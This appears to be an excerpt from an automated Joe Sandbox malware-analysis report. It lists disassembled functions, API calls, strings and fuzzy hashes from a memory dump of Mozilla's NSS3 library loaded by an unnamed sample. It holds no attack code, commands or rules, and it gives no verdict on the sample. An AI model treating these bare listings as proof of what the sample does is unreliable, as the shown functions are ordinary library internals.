sqlite3_free.NSS3(?), ref: 6CF42EBB
sqlite3_free.NSS3(?), ref: 6CF42ECB
sqlite3_free.NSS3(00000000), ref: 6CF42F3E
sqlite3_free.NSS3(?), ref: 6CF42F4C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 2be678ebbb05dc866b356012b639d7e364ce55a55164145ef99f7ca8e7c57254
Instruction ID: f80974b2b9e79e77b5871c42dc86482891465da9636d1270ef30694a316d7d8f
Opcode Fuzzy Hash: 2be678ebbb05dc866b356012b639d7e364ce55a55164145ef99f7ca8e7c57254
Instruction Fuzzy Hash: BF613BB5E012058BEB00CFA8D885BDEBBB1BF48358F158038DC55A7712E736E955CBA1

Function 6CE87C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFD2120,Function_00097E60,00000000,?,?,?,?,6CF0067D,6CF01C60,00000000), ref: 6CE87C81

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

TlsGetValue.KERNEL32 ref: 6CE87CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE87CB4
PR_Unlock.NSS3 ref: 6CE87CCF

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

TlsGetValue.KERNEL32 ref: 6CE87D04
EnterCriticalSection.KERNEL32(?), ref: 6CE87D1B
realloc.MOZGLUE(-00000050), ref: 6CE87D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE87DF4
PR_Unlock.NSS3 ref: 6CE87E0E

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: c741dc1a2db713855ab0792c334b5262c9b60aedc08cff0eef0101e196c1ecc2
Instruction ID: 87fa9ad65647f7ab5241e57a0a9e7e46f708809e8c04d5291ced4406588291b3
Opcode Fuzzy Hash: c741dc1a2db713855ab0792c334b5262c9b60aedc08cff0eef0101e196c1ecc2
Instruction Fuzzy Hash: 8751D371F261009BDB416F28D884B6577B5EB4331CF268129FD0887B62EB31A851CAD1

Function 6CDF4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4D97
PR_Lock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DBA
PR_WaitCondVar.NSS3 ref: 6CDF4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4DEF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 142dc19438673414b48d072f1b06e306e69256fe16367832314e927cc8658a1a
Instruction ID: 5a42a806443be11ddc78f2fdf57832d1753b38462421dda16c840342e49024a4
Opcode Fuzzy Hash: 142dc19438673414b48d072f1b06e306e69256fe16367832314e927cc8658a1a
Instruction Fuzzy Hash: 574193B5E24715CFCB40AF79D584259BBF4BF05324F068669EC9897710EB30E886CB91

Function 6CF87CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF87CE0

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87D36
PR_Realloc.NSS3(?,00000080), ref: 6CF87D6D
PR_GetCurrentThread.NSS3 ref: 6CF87D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF87DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87DD8
malloc.MOZGLUE(00000080), ref: 6CF87DF8
PR_GetCurrentThread.NSS3 ref: 6CF87E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF87DF0
:%s:%d:0x%lx, xrefs: 6CF87DB9

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 8e33ddfabe18a7c5d3e92aebfee388bef63ec77e15c22b0623964bf3e3d7fd05
Instruction ID: 9ae2b8a61b61d514916925f9802f6d114580ab67dc17bd20048e85563834a8b0
Opcode Fuzzy Hash: 8e33ddfabe18a7c5d3e92aebfee388bef63ec77e15c22b0623964bf3e3d7fd05
Instruction Fuzzy Hash: C641B6B26012059FDB04CF29CC84B6B77B6FF85318B25456EF8198BB51DB31E941C7A1

Function 6CF87E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF87E46

Part of subcall function 6CE61240: TlsGetValue.KERNEL32(00000040,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61267
Part of subcall function 6CE61240: EnterCriticalSection.KERNEL32(?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE6127C
Part of subcall function 6CE61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE61291
Part of subcall function 6CE61240: PR_Unlock.NSS3(?,?,?,?,6CE6116C,NSPR_LOG_MODULES), ref: 6CE612A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF87EAF
PR_ImportFile.NSS3(?), ref: 6CF87ECF
PR_GetCurrentThread.NSS3 ref: 6CF87ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF87F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF87F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF87F15

Strings

NSPR_INHERIT_FDS, xrefs: 6CF87E41
%d:0x%lx, xrefs: 6CF87EA9

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 829d1f5d4dff9471c20f095ef5af972c1a4f5beecd50e153b75ee58996c2ea12
Instruction ID: c9b0364156b303a258cb934785e6c5a93df83054229d63db5f3b1a3e36331a0c
Opcode Fuzzy Hash: 829d1f5d4dff9471c20f095ef5af972c1a4f5beecd50e153b75ee58996c2ea12
Instruction Fuzzy Hash: 5D31F372F151159BEB009F69C840BEBB7B9BF46348F200567F81597A11E7719D04C7E1

Function 6CE94E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE94E90
EnterCriticalSection.KERNEL32 ref: 6CE94EA9
TlsGetValue.KERNEL32 ref: 6CE94EC6
EnterCriticalSection.KERNEL32 ref: 6CE94EDF
PL_HashTableLookup.NSS3 ref: 6CE94EF8
PR_Unlock.NSS3 ref: 6CE94F05
PR_Now.NSS3 ref: 6CE94F13
PR_Unlock.NSS3 ref: 6CE94F3A

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

Strings

bUl, xrefs: 6CE94F3F
bUl, xrefs: 6CE94E5C

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 4b5ef846b8c2f20b5f1112692cdbbda10091370c8fac56d285e755d6b2b3341e
Instruction ID: 434f1c7b5c32549e45a36189819da3ff71ace2bb7229710d8f958d0517385214
Opcode Fuzzy Hash: 4b5ef846b8c2f20b5f1112692cdbbda10091370c8fac56d285e755d6b2b3341e
Instruction Fuzzy Hash: 42413BB4A146159FCB00EF78C0859AABBF0FF49358B118569EC599B710EB30E855CBD1

Function 6CEBECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CEBDE64), ref: 6CEBED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEBED22

Part of subcall function 6CECB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFA18D0,?), ref: 6CECB095

PL_FreeArenaPool.NSS3(?), ref: 6CEBED4A
PL_FinishArenaPool.NSS3(?), ref: 6CEBED6B
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEBED38

Part of subcall function 6CDF4C70: TlsGetValue.KERNEL32(?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4C97
Part of subcall function 6CDF4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CB0
Part of subcall function 6CDF4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDF3921,6CFD14E4,6CF3CC70), ref: 6CDF4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CEBED52
PR_CallOnce.NSS3(6CFD2AA4,6CED12D0), ref: 6CEBED83
PL_FreeArenaPool.NSS3(?), ref: 6CEBED95
PL_FinishArenaPool.NSS3(?), ref: 6CEBED9D

Part of subcall function 6CED64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CED127C,00000000,00000000,00000000), ref: 6CED650E

Strings

security, xrefs: 6CEBED06

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: d3cea40327a0cd4aff297b70cdebcccac2c8247573dbb364101abd821da92489
Instruction ID: 485a173d0704009c1a0a801e3fe1342c0158e8e971c82c3f0dc1afca04606f81
Opcode Fuzzy Hash: d3cea40327a0cd4aff297b70cdebcccac2c8247573dbb364101abd821da92489
Instruction Fuzzy Hash: 461166769006146BE7105774AD40BBB727CBF0260DF260968E815B3F40FB76BA0E86E7

Function 6CEA2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CEA2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CEA2D07

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEA2D22

Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80B88
Part of subcall function 6CF809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF80C5D
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF80C8D
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80C9C
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80CD1
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80CEC
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80CFB
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80D16
Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF80D26
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D35
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF80D65
Part of subcall function 6CF809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF80D70
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80D90
Part of subcall function 6CF809D0: free.MOZGLUE(00000000), ref: 6CF80D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEA2D3B

Part of subcall function 6CF809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF80BAB
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80BBA
Part of subcall function 6CF809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF80D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CEA2D54

Part of subcall function 6CF809D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF80BCB
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80BDE
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(?), ref: 6CF80C16

Strings

C_InitToken, xrefs: 6CEA2CE7
ulPinLen = %d, xrefs: 6CEA2D36
pPin = 0x%p, xrefs: 6CEA2D1D
pLabel = 0x%p, xrefs: 6CEA2D4F
slotID = 0x%x, xrefs: 6CEA2D02

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: fdf8d3a0f9306ced212a8b403ff8d86aacdc268a3edd19d5f290f05ecde32b92
Instruction ID: ed7944fca393a05f0bc16cac22a0bf7172025a445c50f652847d3e6cf5b245ca
Opcode Fuzzy Hash: fdf8d3a0f9306ced212a8b403ff8d86aacdc268a3edd19d5f290f05ecde32b92
Instruction Fuzzy Hash: 7821F575A11144EFDB409FB5DC4CB497BB1EB4631DF548054E908ABB22CB72AC4ACBA1

Function 6CF80EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE62357), ref: 6CF80EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE62357), ref: 6CF80EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF80EE6

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF80EFA

Part of subcall function 6CE6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF80F2B

Strings

Aborting, xrefs: 6CF80EB3
Assertion failure: %s, at %s:%d, xrefs: 6CF80ED9, 6CF80EE5, 6CF80F06, 6CF80F0B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 5431d19886ccabf4e1c4a1a06811706d07d9b8e2857825b23f9f35b27703d3ea
Instruction ID: d3e217806e06b868148e6041ceca0c34c4c40cb0db76e7d744d2300162f91701
Opcode Fuzzy Hash: 5431d19886ccabf4e1c4a1a06811706d07d9b8e2857825b23f9f35b27703d3ea
Instruction Fuzzy Hash: D3F0C2B9E001147BDE403BA1DC4AE9B3E3DEF82764F404024FD1957B02DB76EA5596B2

Function 6CEE4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEE4DCB

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEE4DE1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
